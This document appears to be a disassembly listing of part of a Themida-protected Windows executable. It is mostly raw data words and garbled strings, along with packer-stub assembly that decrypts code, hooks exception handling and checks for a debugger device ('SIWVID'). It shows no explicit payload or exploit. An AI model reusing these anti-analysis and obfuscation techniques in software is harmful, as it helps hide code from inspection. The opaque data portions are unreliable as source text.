aIXsSw		db 'I{Ãxè/èw',0
		align 4
		dd 0FFA88FECh, 4 dup(0)
		dd 8001FCFCh, 5	dup(0)
		dd offset dword_576D84
		dd 8 dup(0)
		dd 442Ch, 1434h, 0
		dd 12FF60h, 0
a0I		db 'ß0Å©',0
		align 10h
		dd 8001FCFCh, 12FFA4h, 442Ch, 2	dup(0)
		dd 0FFFFFFFEh, 576D84h,	6 dup(0)
		dd 2, 3	dup(0)
		dd offset dword_5AA980
		dd 6 dup(0)
		dd 4, 3	dup(0)
		dd 9F3E3Bh, 4 dup(0)
		dd 2A41A46h, 4 dup(0)
		dd 7FFE0304h, 7FFE730Ch, 0Eh dup(0)
		dd 0FFA8927Ch, 2 dup(0)
		dd 442Ch, 0
		dd 0FFFFFFFEh, 0
		dd 4848CA00h, 0
		dd 9F9234h, 4 dup(0)
		dd 0CFFE998Ch, 2 dup(0)
		dd 77E70304h, 6	dup(0)
		dd 0A01568h, 9AB0h, 0
		dd 9F9C37h, 400E9h, 7FFE0304h, 0
aG		db '£¼[',0Ah,0
		align 4
		dd 3 dup(0)
		dd 575Eh, 0A07FFFh, 53F81Ch, 0
aV0d		db 'V!¼0„',0
		align 10h
		dd 2 dup(0)
		dd 9FA00Fh, 2 dup(0)
		dd 6B4Ch, 5 dup(0)
aXu		db '"åãÍ',0
		align 10h
aWr		db '`ÊWà',0
		align 4
		dd 0
		dd 0FF55FFBAh, 2 dup(0)
		dd offset byte_5B2157
		align 10h
		dd 1D8h, 0BDh dup(0)
		dd 3804092Bh, 0Fh dup(0)
		dd 38h,	3 dup(0)
		dd 58D9000Bh, 4	dup(0)
aIS		db '¨',0Ah
		db '˜~',0
		align 4
		dd 0FFFF0242h, 0
		dd 3E11C289h, 0
		dd offset word_570A3A
		dd 4FB907EFh, 0E8B78973h, 0FFFFFFC8h, 7	dup(0)
		dd 77F5180Bh, 0
		dd offset dword_5ACFB4
		align 10h
		dd offset dword_586B04
		align 8
		dd 8001FCFCh, 9	dup(0)
		dd 2460016Ch, 0E057CA60h, 0
		dd 0EC4h, 0FFFFD650h, 6	dup(0)
		dd 0D7143660h, 9D8EA836h, 0Dh, 3 dup(0)
		dd 0F6BAEFh, 576E2Ch, 0
		dd 7FFE0304h, 2	dup(0)
		dd 0A17316h, 5 dup(0)
		dd offset aIpboardVersion ; "ipboard)	 \n\r\n\rVersion  = %s\n\rCheckIN "...
		dd 3 dup(0)
		dd 0A3A5E7h, 3 dup(0)
		dd offset word_5B4302
		dd 0DAE0h, 0
		dd offset byte_57D4D9
		align 10h
		dd 0A1B134h, 0FFFFBA69h, 3 dup(0)
		dd 0AFA1FEh, 0A28h, 2 dup(0)
		dd 0B0D5A662h, 0D9B612DAh, 648FD57h, 14h dup(0)
		dd 0A01564h, 7 dup(0)
		dd 9F69DDh, 1, 2 dup(0)
		dd 9F69DDh, 2 dup(0)
		dd 0FE987FC5h, 3 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 400000h, 2 dup(0)
		dd 9F2292h, 2 dup(0)
		dd 0C4DCF678h, 2 dup(0)
		dd 0FFA84652h, 6 dup(0)
		dd 12FFE0h, 4 dup(0)
		dd 442Ch, 4 dup(0)
		dd offset byte_540663
		dd 2 dup(0)
		dd 69DDh, 9F8C0Ah, 7 dup(0)
		dd 17FFFB0h, 2 dup(0)
		dd 1F4938DCh, 4	dup(0)
		dd offset aSSss		; "‘<²áé™"
		dd 2 dup(0)
		dd 11111111h, 6B4Ch, 0
		dd 0FFFFA2D0h, 30h, 6 dup(0)
		dd 0FFFFFFFFh, 3 dup(0)
		dd 4BABh, 442Ch, 4 dup(0)
		dd 2BEFh, 77E78B82h, 7 dup(0)
		dd 13FFFB0h, 2 dup(0)
		dd 6B4Ch, 3 dup(0)
		dd 88F696E9h, 0
		dd 24DB0h, 9F69DDh, 0
		dd 69DDh, 0
		dd offset byte_5AA59B
		dd 0Ah dup(0)
		dd 77E776CDh, 1, 0FF4E8C13h, 5 dup(0)
		dd 5CE5h, 6 dup(0)
aFfha		db 'fäH€',0
		align 2
aCw		db 'æw',0
		align 10h
		dd 2 dup(0)
		dd 5DD6197Fh, 3	dup(0)
		dd 0A023E8h, 0Ah dup(0)
a333333333333	db '333333333333',0
		align 4
aS_5:
		unicode	0, <˜>,0
		dd 0FD11352Bh, 2 dup(0)
		dd offset word_5A7E52
		dd 5 dup(0)
		dd 94F87D3Fh, 2	dup(0)
		dd 0FFFFFFFFh, 0CD67h, 7 dup(0)
		dd offset aFbDlJ	; "`fÁÚd‹Àj"
		dd 0
		dd 0D0h, 12FF54h, 0Ah dup(0)
		dd offset byte_57D7CB
		dd 0A4h, 556A92B8h, 3 dup(0)
		dd 0FFFFBBD4h, 3 dup(0)
		dd 442Ch, 3 dup(0)
		dd 9F50EBh, 5 dup(0)
		dd 9F69DDh, 0
		dd 31CA0437h, 0Ah dup(0)
		dd 74h,	7FFE0304h, 5ACFB4h, 6 dup(0)
		dd offset loc_5627B4+1
		dd 90h,	5 dup(0)
		dd offset dword_53D558
		dd 60FFF87Eh, 2	dup(0)
aXo		db '•o,<',0
		align 10h
aLk		db 'Lk',0
		align 4
		dd 0FFFF8DE4h, 0Fh dup(0)
		dd offset word_596AD2
		dd 3 dup(0)
a@Sw		db '@!èw',0
		align 4
a7aq		db '7 Ÿ',0
		dd 6 dup(0)
		dd 5EC8h, 2 dup(0)
		dd offset dword_5A6914
		dd 0
		dd 12FFC4h, 0Eh	dup(0)
		dd 2AB3F75Eh, 0
		dd offset byte_577067
		dd offset word_5A90FA
		align 10h
aN_1		db 'ؾN*',0
		align 4
aLk_0		db 'Lk',0
		align 4
		dd 6 dup(0)
		dd offset word_59403E
		dd 7FFE0304h, 8	dup(0)
		dd 7FFE0304h, 6	dup(0)
		dd offset dword_576D84
		dd 2 dup(0)
		dd 0E0F6267Ch, 6 dup(0)
		dd 442Ch, 401000h, 2 dup(0)
aFv5		db 'FV5È',0
		align 4
		dd 0E1F0h, 0
		dd offset dword_584080
		dd 18AE63h, 77E7A13Fh, 8 dup(0)
		dd 1E21D7D2h, 5	dup(0)
		dd 37ECh, 0
		dd 12FF54h, 8 dup(0)
		dd 0FD9BFF26h, 5 dup(0)
		dd 0FFFF8DE4h, 0ACh, 7 dup(0)
		dd 7FFE0304h, 9	dup(0)
		dd offset byte_59CEED
		dd 0Dh dup(0)
		dd 5B06A8F6h, 0BAD76B5Ah, 6 dup(0)
		dd offset dword_57CD44
aT_0		db 'ÛTÆÄ',0
		align 4
		dd 4 dup(0)
		dd 1F450C1Ch, 77F52E0Fh, 8059ED0Ah, 576D84h, 77E7A144h
		dd 0FF605FF1h, 4 dup(0)
		dd 77DD0000h, 2	dup(0)
		dd 77E75112h, 0
		dd 88h,	0
		dd 0FFFF07BDh, 2 dup(0)
		dd 1, 4	dup(0)
		dd offset word_57B9AE
		dd offset dword_576D84
		dd 1, 0
		dd 0FFFF8E00h, 4 dup(0)
aTai_0		db 'tAI¼',0
		align 4
		dd 3 dup(0)
		dd offset word_5A585A
		dd 0
		dd 77E600F8h, 3DD1BE0Ch, 0
		dd 0FFFF77A8h, 7Ch, 5 dup(0)
		dd 0F72A10h, 7 dup(0)
		dd offset byte_57E04F
dword_53ED28	dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh,	0E853h,	815B0000h
					; DATA XREF: Themida_:0053D73Co
		dd 17C3h, 245C8900h, 24448910h,	37B85B14h, 0FF009FA0h
		dd 24448BE0h, 0E0FF04h,	13h dup(0)
		dd offset dword_570BB8
		dd 9 dup(0)
aHSw_0		db 'h>èw',0
		align 4
		dd offset dword_590000
		align 10h
aJL		db 'j',8,'LÕ',0
		align 4
		dd 0Ah dup(0)
aWwa		db '^Wwa',0
		align 4
		dd 5 dup(0)
		dd 9D583h, 2Bh,	3 dup(0)
		dd offset byte_5933B1
		align 8
		dd 6B4Ch, 8001FCFCh, 7 dup(0)
		dd 0B60000h, 7FFE0304h,	9F2BDEh, 0
aFk:
		unicode	0, <Fª>,0
		align 4
		dd 2 dup(0)
		dd 0EC63C1Ch, 5	dup(0)
		dd 12FF54h, 7 dup(0)
		dd 0E8h, 0
		dd 77F51254h, 570A8Ah, 0
		dd 7FFE0304h, 0
		dd 77E7A5FEh, 8	dup(0)
		dd 26A00000h, 5	dup(0)
		dd 9FA00Fh, 4 dup(0)
aW		db '×#Ýw',0
		align 4
		dd 7FFE0304h, 540B0Ch, 7 dup(0)
		dd 39h,	2 dup(0)
		dd 8A0FB5E2h, 0CA9178A4h, 2 dup(0)
		dd 0A280105h, 7FFE0304h, 0
		dd offset word_585EB6
		dd 9E0000h, 0
		dd offset byte_590163
		align 8
		dd 10B0h, 2 dup(0)
		dd 600EDC2Dh, 0A8h, 4 dup(0)
aSD8		db 'é$D8',0
		align 10h
		dd 304h, 0
		dd 88039060h, 3	dup(0)
aTyuj		db 'tYU†',0
		align 10h
		dd 4 dup(0)
		dd 442Ch, 3 dup(0)
		dd 100h, 2 dup(0)
		dd 8A0FB5E2h, 0
		dd 0FFA7FD1Bh, 0
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 10h
		dd 3Bh dup(0)
		dd 258ABE3h, 2 dup(0)
		dd 9F69DDh, 0Ch	dup(0)
		dd 442Ch, 0A9BB5AEEh, 0
a9o		db '9O³;',0
		align 10h
		dd 0FFA89293h, 3 dup(0)
		dd 7FFE0304h, 0Dh dup(0)
		dd 647Ch, 0Ch dup(0)
aJ6x		db '¦6•,',0
		align 4
		dd 2 dup(0)
		dd 0D0h, 5 dup(0)
		dd 0A19BACh, 5 dup(0)
		dd 0FAB65F0Fh, 64B0h, 0CED46807h, 3 dup(0)
		dd 9F5E2Eh, 0FFFFA1D8h,	2 dup(0)
a0I_0		db 'ß0Å©',0
		align 4
		dd 2 dup(0)
		dd offset dword_53D4D4
		dd 0
		dd 281Bh, 5 dup(0)
aCM_unpacker	db 'C:\m_unpacker',0
		align 4
		dd 7Ch dup(0)
		dd 9F8C6Bh, 0
		dd offset dword_52F848+7DBh
		dd 2 dup(0)
		dd 7FFE0304h, 0Ah dup(0)
aNnln		db 'l',0
		align 4
		dd offset byte_57FF8D
		dd 1D19B9F7h, 2	dup(0)
		dd 12FF34h, 0
		dd offset byte_5825CF
		dd 3C600h, 4 dup(0)
		dd offset dword_5ACFB4
		dd offset byte_5A5CA5
		dd 1EC74963h, 56D34Ah, 9 dup(0)
		dd 0EC63C1Ch, 2	dup(0)
		dd 69DDh, 593ACFh, 7 dup(0)
		dd 0FFA73741h, 0
		dd 7FFE0304h, 57E1F0h, 2 dup(0)
		dd 9FA037h, 3 dup(0)
		dd 32597F5Dh, 0
		dd 94h,	0
		dd 0FFFFA2D0h, 3 dup(0)
		dd 1, 0Ah dup(0)
		dd 7FFE0304h, 77E75CB5h, 0
		dd 0A01560h, 0
		dd offset dword_593B2C
		dd 5 dup(0)
		dd 2400000h, 53E7B8h, 3	dup(0)
		dd 9EB168h, 3 dup(0)
		dd 77E7A5FDh, 4	dup(0)
		dd offset dword_5ACFB4
		dd offset dword_576D84
		dd 6 dup(0)
		dd 0FFA875E2h, 4 dup(0)
		dd 8001FCFCh, 5AA526h, 7 dup(0)
		dd offset aLS		; "`‹\\$$è"
		dd 6 dup(0)
		dd 19h,	53D4D4h, 3 dup(0)
		dd 69DDh, 2 dup(0)
		dd 9FA037h, 77DD189Ah, 4 dup(0)
		dd 37000h, 18AE63h, 2590000h, 7FA702E1h, 9 dup(0)
		dd 28B0000h, 0F8h, 193F6F4h, 7588BE4Ch,	0
a041		db '04-1',0
		align 4
		dd 2 dup(0)
		dd offset dword_5A7BA0
		dd 4 dup(0)
		dd 0FFFFBA69h, 77F7EBB3h, 8 dup(0)
aAdA		db 'a¤',0Dh,'€',0
		align 10h
		dd 78402213h, 1C1E9h, 0
		dd 0B0h, 11h dup(0)
		dd 0FFAC2830h, 4 dup(0)
		dd 8001FCFCh, 65h dup(0)
		dd 9FA00Fh, 2 dup(0)
		dd offset word_577DCA
		dd 5 dup(0)
aW_0		db 'Ì^Ýw',0
		align 4
		dd 1, 0
		dd 6D84h, 2 dup(0)
		dd 3EF4458Bh, 0
		dd 7D3C0004h, 12FF54h, 0
		dd 6B4Ch, 0
aMcw		db '^w',0
		align 10h
		dd 1B046E9Dh, 9F6CB0h, 5 dup(0)
		dd offset dword_53CD9C
		dd 70h,	0
		dd 0A4800C10h, 2 dup(0)
a0Ia		db '0]©€',0
		align 4
		dd 4 dup(0)
		dd offset dword_56D320
		dd 4 dup(0)
		dd 28B07BBh, 0
		dd 1, 2	dup(0)
		dd 89A7h, 2 dup(0)
		dd 8005F6F4h, 0
		dd offset a_Siwvid	; "\\\\.\\SIWVID"
		dd 0A38D53h, 2 dup(0)
a?p		db 'ß?<',0
		align 10h
		dd 0
		dd offset byte_5AB523
		dd 0
aIZ		db 'iÄ',0Dh,'z',0
		align 4
aIq		db 'ÝiŸ',0
		dd 4 dup(0)
		dd 2020E70h, 4 dup(0)
		dd 122F9B7Bh, 0A996EE76h, 5 dup(0)
		dd 9FA00Fh, 1BE000h, 77E82755h,	2 dup(0)
		dd 80h,	8 dup(0)
		dd 0DD000h, 4 dup(0)
aSjiw		db 'é¦ëw',0
		align 10h
		dd 8001FCFCh, 77F50000h, 576D84h, 5AC4CFh, 2 dup(0)
		dd 1E21D7D3h, 577014h, 2 dup(0)
		dd 7FFE0304h, 8	dup(0)
		dd offset byte_5B13BF
		dd 4 dup(0)
		dd 1EFFFB0h, 0
		dd offset word_575112
		dd 2 dup(0)
		dd 53BDh, 1Dh dup(0)
		dd offset byte_5782D9
		dd 6 dup(0)
		dd offset byte_5AB523
		dd 2 dup(0)
		dd 6, 7FFE0304h, 3 dup(0)
		dd 0ABE9h, 4 dup(0)
		dd offset byte_576D6D
		dd 3 dup(0)
aUiX		db 'îˆ%X',0
		align 4
		dd 7 dup(0)
		dd offset dword_59E120
		dd 4 dup(0)
		dd 0B8AC18BEh, 0
		dd 78h,	7 dup(0)
		dd 0FE470C90h, 2 dup(0)
		dd 7FFE0304h, 0
		dd offset byte_5B4201
		align 8
		dd 6Ch,	3 dup(0)
		dd offset byte_5670CF
		dd 0FFA8621Ch, 0
		dd offset word_576D96
		dd 0
		dd offset word_57C0EA
		dd 2Dh dup(0)
aFfP		db 'F”¸P',0
		align 4
		dd 2, 6Ch, 6 dup(0)
		dd 9E003Eh, 399D493Fh, 688Ch, 0Ch dup(0)
		dd 9E0FE6h, 7 dup(0)
aThemida	db 'Themida',0
		dd 1Eh dup(0)
		dd 1, 7FA384B2h, 6 dup(0)
		dd offset word_540E56
		dd 0A1B134h, 0Bh dup(0)
		dd 6D84h, 3 dup(0)
		dd offset aHowcode	; "howcode"
		dd 3 dup(0)
		dd 459BE3FCh, 5A2576h, 65FCh, 9	dup(0)
		dd 0A17FD8h, 0B2C938Dh,	2 dup(0)
		dd 77E793EFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FFC0:				; CODE XREF: start:loc_53CC4Fj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 637337Bh
		mov	[ebp+6371D9Dh],	edx
		mov	[ebp+63717A1h],	esi
		mov	[ebp+63700B1h],	eax
		cmp	dword ptr [ebp+63722F5h], 0
		jz	short loc_53FFF8
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53FFF8:				; CODE XREF: start+5FFD6j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6371FEDh],	eax
		push	45h
		call	sub_5400AC
		push	783749Ah
		call	sub_5400F2
		push	0A894B25h
		call	sub_5400F2
		jmp	loc_540236
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5400AC	proc near		; CODE XREF: start+5FFF0p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6373469h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_5400C8:				; CODE XREF: sub_5400AC+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_5400E7
		mov	eax, [ebp+arg_0]
		mov	[ebx+63733D3h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_5400C8
; ---------------------------------------------------------------------------


loc_5400E7:				; CODE XREF: sub_5400AC+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_5400AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5400F2	proc near		; CODE XREF: start+5FFFAp start+60004p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 63734B2h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_540118:				; CODE XREF: sub_5400F2+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_540118
		mov	[ebp+var_84], 0
		lea	edi, [edx+63733D3h]
		lea	esi, [ebp+var_80]


loc_540148:				; CODE XREF: sub_5400F2+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_540154:				; CODE XREF: sub_5400F2+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_540154
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_540148
		popa
		leave
		retn	4
sub_5400F2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_540192
; ---------------------------------------------------------------------------


loc_54018E:				; CODE XREF: Themida_:00540195j
		inc	dword ptr [ebp-4]
		inc	esi


loc_540192:				; CODE XREF: Themida_:0054018Cj
		cmp	byte ptr [esi],	0
		jnz	short loc_54018E
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_540223
; ---------------------------------------------------------------------------


loc_5401A4:				; CODE XREF: Themida_:00540226j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54021A
; ---------------------------------------------------------------------------


loc_5401AD:				; CODE XREF: Themida_:0054021Ej
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_540207
; ---------------------------------------------------------------------------


loc_5401BD:				; CODE XREF: Themida_:0054020Bj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_5401DF
		cmp	bl, 39h
		ja	short loc_5401DF
		sub	bl, 30h
		jmp	short loc_540201
; ---------------------------------------------------------------------------


loc_5401DF:				; CODE XREF: Themida_:005401D3j
					; Themida_:005401D8j
		cmp	bl, 61h
		jb	short loc_5401F1
		cmp	bl, 66h
		ja	short loc_5401F1
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_540201
; ---------------------------------------------------------------------------


loc_5401F1:				; CODE XREF: Themida_:005401E2j
					; Themida_:005401E7j
		cmp	bl, 41h
		jb	short loc_540201
		cmp	bl, 46h
		ja	short loc_540201
		sub	bl, 41h
		add	bl, 0Ah


loc_540201:				; CODE XREF: Themida_:005401DDj
					; Themida_:005401EFj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_540207:				; CODE XREF: Themida_:005401BBj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_5401BD
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_540217
		mov	eax, [ebp-10h]
		stosb


loc_540217:				; CODE XREF: Themida_:00540211j
		inc	dword ptr [ebp-8]


loc_54021A:				; CODE XREF: Themida_:005401ABj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_5401AD
		add	edx, 4


loc_540223:				; CODE XREF: Themida_:005401A2j
		cmp	edx, [ebp-4]
		jb	loc_5401A4
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_540236:				; CODE XREF: start+60009j
		mov	ecx, 7000h
		lea	edi, [ebp+63735F8h]


loc_540241:				; CODE XREF: start+60231j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_540241
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6373746h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		stc
		add	bl, 0A4h
		push	0
		push	eax
		call	sub_540281
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_540281	proc near		; CODE XREF: start+60265p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_540281	endp

; ---------------------------------------------------------------------------
		db 13h,	4Eh, 45h
		dd 0EA742BEAh, 60B9A8C4h, 6E944B1h, 92000000h, 0DE0A50B1h
		dd 0C22B61F6h, 0F00025FCh, 6AFFFFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 9F9034C3h
		dd 998A9437h, 13E8h, 0F7EE8300h, 7E0B20D3h, 60984BA3h
		dd 8BBA0341h, 3E627AB9h, 12E9h,	68512100h, 0A41A8445h
		dd 402D8795h, 0A3D78291h, 5BAD8EB2h, 5BD88B56h,	0FF33CA8Bh
		dd 4D388166h, 0F0E755Ah, 33C50B7h, 503A81D0h, 74000045h
		dd 10002D08h, 0EB470000h, 58F64E3h, 0
		dd 8D04C483h, 37375995h, 0FF645206h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 3764ED81h, 858D0637h
		dd 6373722h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 77B704C4h, 6E9h, 0EC594800h,	6616A136h, 6052D98Ch, 618DB6F9h
		dd 4E1805Bh, 850FC90Ah,	48h, 12E9h, 3B6D2900h, 894AA578h
		dd 610A9549h, 82F25739h, 0C7DB74BAh, 37089D85h,	106h, 800F6000h
		dd 6, 8E0Fh, 0BE90000h,	0AA000000h, 3EA96D57h, 4A0C04D9h
		dd 0E961DAEAh, 1Ch, 2DD3BB66h, 89D85C7h, 637h, 0D88B0000h
		dd 7E9h, 3FBFAD00h, 0B49C66C3h,	1B498589h, 89F50637h, 37233985h
		dd 7E806h, 59840000h, 85F4CBE0h, 5F5850B1h, 81CEBF0Fh
		dd 685EC7h, 0BEF6B100h,	50881E3Eh, 0FBA2C681h, 8C0FAF77h
		dd 5, 0D4BBC9BAh, 0E937FF51h, 0Eh, 73EDA6DDh, 0E2CC798Dh
		dd 6847699Fh, 0F5BA9EBh, 18Eh, 0C381F800h, 3C7167C4h, 8DE08166h
		dd 0CF381F3h, 0F731109h, 38Bh, 0C1BF0F00h, 578AEB81h, 8B663BA0h
		dd 810F53CBh, 3, 8FD3B70Fh, 0E8816607h,	0EF8348E4h, 0DE904h
		dd 38960000h, 5BD92F9Fh, 3340FF40h, 814E5C19h, 1EEh, 1B850F00h
		dd 60000000h, 2F5525BFh, 45B95643h, 5944F3E6h, 32E961h
		dd 0A5590000h, 8510C311h, 14E8F885h, 0A4000000h, 7484DFB8h
		dd 665657BDh, 2C8E2309h, 4061F34Bh, 0B29FDEC5h,	52E9596Bh
		dd 27FFFFFFh, 440C9EB9h, 0F5F839A8h, 0DE8h, 69D46300h
		dd 4CA3993Eh, 0CAC71D42h, 665B7961h, 81ED4DBFh,	69CAC3h
		dd 14E800h, 528F0000h, 2AED27A8h, 1CCAD85Dh, 0BB2973C9h
		dd 42C61495h, 0F52EEDFh, 5F5FD2BFh, 1A3B68h, 2AD18000h
		dd 66575658h, 5902CABAh, 8A338B59h, 10C681CEh, 0B505D1A1h
		dd 30EE811Bh, 60418459h, 7A19FEB8h, 0EE825h, 40C80000h
		dd 33753C62h, 0D346543Ch, 0E717AC41h, 800Fh, 615F0000h
		dd 4D84C681h, 9E8547Bh,	0A3000000h, 59F744A9h, 74EEAE61h
		dd 5FD08B57h, 0C981565Ah, 0BB888EEh, 0EB83038Fh, 0C96BA01h
		dd 4B4B3F20h, 850F484Bh, 15h, 2EE9h, 2FE4FB00h,	1D438B54h
		dd 0B3AA3A1Eh, 0BED8E139h, 87EA81C9h, 0E9156E04h, 0FFFFFF79h
		dd 0D65C8128h, 89A2EFDCh, 42BC8051h, 26E13FADh,	0E907540Bh
		dd 714h, 217F9h, 371C2D00h, 60000006h, 1E6D958Bh, 958B0637h
		dd 6371AB9h, 850F6061h,	6, 0B79BD29h, 0BE660637h
		db 8Ch,	0BDh, 61h
byte_540663	db 60h			; DATA XREF: Themida_:0053E620o
		dd 0C959D01h, 0C02B0637h, 19820Fh, 60600000h, 10E961h
		dd 3CD10000h, 58D95A72h, 0D648B57h, 588DA0A3h, 8B6150ABh
		dd 0E9282454h, 13h, 459A2E82h, 0F344357Eh, 24A24008h, 0DA7DB862h
		dd 0E9F86F09h, 7, 89A344E5h, 89FF5A90h,	370A6D85h, 9D89FC06h
		dd 6371185h, 3CBEh, 14E900h, 0E1BF0000h, 9860F9A6h, 0BD1E565Fh
		dd 0D78A12C9h, 7475FF9Bh, 74037D4Ch, 10E92424h,	0E7000000h
		dd 12EA722Ch, 7C8B4FADh, 931AEDD7h, 6649DA3Dh, 68F0FADh
		dd 29000000h, 37293985h, 24440306h, 199D8924h, 90063730h
		dd 8810Fh, 8A0F0000h, 2, 0F506160h, 0C8Dh, 6830F00h, 0F000000h
		dd 86h,	860F9000h, 0Ch,	6860Fh,	85890000h, 637208Dh, 0F78408Bh
		dd 186h, 4403FC00h, 85892824h, 6371D65h, 0BB58529h, 408B0637h
		dd 14E918h, 87480000h, 450D1EE6h, 49183CD7h, 1CAEBF96h
		dd 67E2844Dh, 60403DACh, 2381BD8Bh, 61F50637h, 39EA8589h
		dd 60600637h, 0F37D480h, 8161C1BFh, 2AB706CAh, 58FC611Ch
		dd 14880Fh, 0E9600000h,	8, 814D932Ah, 7CAB548Fh, 0C2E98166h
		dd 708B61FCh, 8E978h, 89060000h, 838A46DDh, 9D8959EAh
		dd 6372E65h, 0F91CC683h, 24247403h, 8E9h, 29160900h, 8DE48120h
		dd 99B589D4h, 8D063707h, 371359BDh, 758D8906h, 0AD06372Eh
		dd 0D8C0Fh, 0F600000h, 84h, 5DF8BE00h, 3612184h, 0E9242444h
		dd 11h,	0A160B80Fh, 5F19B418h, 0E2BF461h, 649B0ED6h, 8B0FAB1Dh
		dd 10h,	0A8D0Fh, 5E90000h, 0FF000000h, 0CD36B090h, 1B69BD8Dh
		dd 14E90637h, 39000000h, 3567A95h, 520782E1h, 0D1AEDA10h
		dd 17BB43E9h, 0AD2574ECh, 244403F9h, 7E924h, 8C680000h
		dd 0E41C77B8h, 51B5897Eh, 5006372Bh, 0C18B6660h, 0D05DB866h
		dd 24048961h, 0B6D8D89h, 0FCAB0637h, 909BD8Dh, 0AE90637h
		dd 46000000h, 0E33EF3B2h, 5412BB20h, 0CE9ADCCh,	83000000h
		dd 0D59DB01h, 522869C6h, 3918DFBh, 60282444h, 858BE78Ah
		dd 6371ACDh, 8D0FAB61h,	6, 7A58529h, 15E0637h, 371DF185h
		dd 0EA8DFF06h, 83063739h, 3739EABDh, 10750006h,	1C2444C7h
		dd 0
		dd 3E97B58Dh, 0E6FF0637h, 4403AD56h, 8B972824h,	0B9858ADFh
		dd 84063722h, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
